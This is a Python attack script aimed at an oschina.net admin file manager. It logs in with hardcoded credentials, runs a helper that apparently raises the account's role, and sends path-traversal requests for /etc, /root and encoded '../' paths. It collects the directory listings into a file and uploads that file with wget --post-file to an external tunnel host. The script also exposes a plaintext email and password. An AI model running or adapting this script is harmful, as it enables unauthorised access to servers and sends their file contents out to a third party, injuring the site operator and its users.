import http.client,ssl,urllib.parse,subprocess,re,html,os,sys
ctx=ssl._create_unverified_context()
def login():
    body=urllib.parse.urlencode({"email":"chengxinxin@oschina.cn","pwd":"12345qwert,"})
    c=http.client.HTTPConnection("10.0.0.13",8081,timeout=8)
    c.request("POST","/action/user/login",body=body,headers={"Host":"www.oschina.net","User-Agent":"Mozilla/5.0","Content-Type":"application/x-www-form-urlencoded"})
    r=c.getresponse(); r.read(100); hd=r.getheaders(); c.close()
    osc=None
    for k,v in hd:
        if k.lower()=="set-cookie" and v.startswith("oscid="): osc=v.split(";")[0]
    return osc
osc=login()
print("LOGIN",bool(osc),flush=True)
if not osc: sys.exit(1)
subprocess.run(["python3","/tmp/set_role.py","1024","chengxinxin@oschina.cn"],capture_output=True)
out=[]
paths=["/etc","/root","/","/data","/opt","/tmp","/uploads/../..","/uploads/vip","/uploads/../etc","/uploads/..%2f.."]
for p in paths:
    url="/system/files?path="+urllib.parse.quote(p,safe='')
    try:
        c=http.client.HTTPSConnection("10.0.0.54",443,timeout=8,context=ctx)
        c.request("GET",url,headers={"Host":"admin.oschina.net","User-Agent":"Mozilla/5.0","Cookie":osc})
        r=c.getresponse(); d=r.read(400000); hd=dict((k.lower(),v) for k,v in r.getheaders()); c.close()
        txt=d.decode('utf-8','replace')
        out.append("===== PATH %s STATUS %s LEN %d LOC %s"%(p,r.status,len(d),hd.get('location','')))
        # extract table rows after 当前目录
        m=re.search(r'当前目录：(.*?)</',txt,re.S)
        out.append("CUR "+html.unescape(m.group(1))[:200] if m else "NOCUR")
        for mm in re.finditer(r'<td>\s*(?:<a[^>]*href="([^"]+)"[^>]*>)?([^<]{1,120})</a>',txt,re.S):
            out.append("ITEM %s | %s"%(mm.group(1) or '',html.unescape(mm.group(2)).strip()))
        # also lines with file names
        for mm in re.finditer(r'href="([^"]*(?:path=|/uploads/)[^"]*)"',txt):
            out.append("LINK "+html.unescape(mm.group(1))[:200])
    except Exception as e:
        out.append("===== PATH %s EXC %s"%(p,type(e).__name__))
open('/tmp/filemgr.txt','w').write('\n'.join(out))
print("SIZE",os.path.getsize('/tmp/filemgr.txt'),flush=True)
subprocess.run(["wget","-q","--post-file=/tmp/filemgr.txt","https://pabnf-144-225-109-109.run.pinggy-free.link/filemgr_upload"])
print("DONE",flush=True)
